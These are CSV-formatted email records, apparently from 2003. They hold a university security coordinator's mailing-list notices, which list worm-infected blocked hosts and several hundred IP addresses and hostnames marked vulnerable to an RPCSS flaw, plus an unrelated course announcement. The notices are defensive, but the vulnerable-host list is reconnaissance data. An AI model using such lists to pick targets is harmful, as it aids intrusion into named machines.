Patched, KB824146 Vulnerable] 128.111.88.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.9.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.96.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.96.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.96.82 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.97.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.99.41 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 78 RPCSS Vulnerable ............................. 387 DCOM Disabled ................................ 84 Not Vulnerable ............................... 1969 Errors ....................................... 9 TCP Port 135 Closed or Host Timeout .......... 63087 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Tue, 16 Sep 2003 11:21:03 -0500",announcements," CS352-ers, I wanted to remind you that the reading assignment for Thursday is the paper: D.A. Patterson and D.R. Ditzel, ""The case for the reduced instruction set computer,"" ACM Computer Architecture News, 8(6)25-33, Oct. 1980. If you did not get this in class, you can pick it up from my assistant Gem. Her coordinates can be found on the class syllabus. Also, HW #2 is now available on the course web site. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id PAA09632 for ; Tue, 16 Sep 2003 15:44:54 -0700 (PDT) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id PAA32714 for ; Tue, 16 Sep 2003 15:44:52 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 19zOZ2-000N6v-55; Tue, 16 Sep 2003 15:44:52 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19zOYy-000N6k-Gv; Tue, 16 Sep 2003 15:44:48 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 19zOYy-000N6g-A9; Tue, 16 Sep 2003 15:44:48 -0700 Date: Tue, 16 Sep 2003 15:44:47 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <93730000.1063752287@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19zOZ2-000N6v-55*nNoRu6gwL2Q* Hello, Due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, I will periodically send this announcement about hosts whose traffic is being blocked in order to suppress our involvement in the spreading of these worms as well as any other potentially malicious activity. As an added ""bonus,"" I am now including a list hosts that are vulnerable from a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here is are the lists: *** Filtered Hosts *** 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.111.97 superman.bren.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.126.68 128.111.126.69 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.181.188 R181188.resnet.ucsb.edu 128.111.182.190 R182190.resnet.ucsb.edu 128.111.182.224 R182224.resnet.ucsb.edu 128.111.182.234 R182234.resnet.ucsb.edu 128.111.182.235 R182235.resnet.ucsb.edu 128.111.182.241 R182241.resnet.ucsb.edu 128.111.182.246 R182246.resnet.ucsb.edu 128.111.182.248 R182248.resnet.ucsb.edu 128.111.183.166 R183166.resnet.ucsb.edu 128.111.185.27 adriatic.ece.ucsb.edu 128.111.221.19 odissi.mat.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.247.62 128.111.247.63 128.111.248.149 SN248149.resnet.ucsb.edu 128.111.248.169 SN248169.resnet.ucsb.edu 128.111.248.191 SN248191.resnet.ucsb.edu 128.111.248.9 SN2489.resnet.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.30.173 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.37.189 SR37189.resnet.ucsb.edu 128.111.37.250 SR37250.resnet.ucsb.edu 128.111.38.194 SR38194.resnet.ucsb.edu 128.111.38.214 SR38214.resnet.ucsb.edu 128.111.70.109 memslab4.mee.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.75.244 MZ75244.resnet.ucsb.edu 128.111.75.248 MZ75248.resnet.ucsb.edu 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.210 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.94.30 host94-30.lsdepts.ucsb.edu 128.111.97.19 pubfloor4-002.library.ucsb.edu *** Unpatched hosts *** 128.111.102.10 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.102.12 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.102.4 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.102.8 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.33 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.34 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.14 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.174 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.41 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.77 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.11 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.106.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.107.2 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.110.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.111.141 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.111.39 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.138.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.138.36 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.161.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.168.81 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.82 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.83 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.84 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.85 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.86 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.87 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.91 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.168.92 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.174 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.185 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.186 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.188 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.210 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.233 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.237 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.241 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.248 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.196 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.232 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.247 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.181.253 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.206 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.182.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.230 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.183.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.102 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.185.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.192 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.21 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.222 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.185.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.248 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.253 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.52 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.53 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.54 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.57 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.58 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.59 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.66 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.78 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.91 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.120 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.19 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.21 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.29 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.36 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.116 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.193.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.164 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.195.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.159 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.9 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.20.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.20.78 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.237 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.202.241 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.219.104 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.219.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.17 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.175 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.190 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.241 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.224.87 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.10 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.116 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.23 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.24 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.51 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.175 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.224 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.249.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.121 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.71 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.31.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.225 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.237 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.64 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.180 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.183 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.190 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.192 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.197 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.233 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.37.66 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.208 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.210 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.225 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.159 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.164 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.167 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.185 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.210 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.220 RPCSS Vulnerable - [KB823980 Patched, 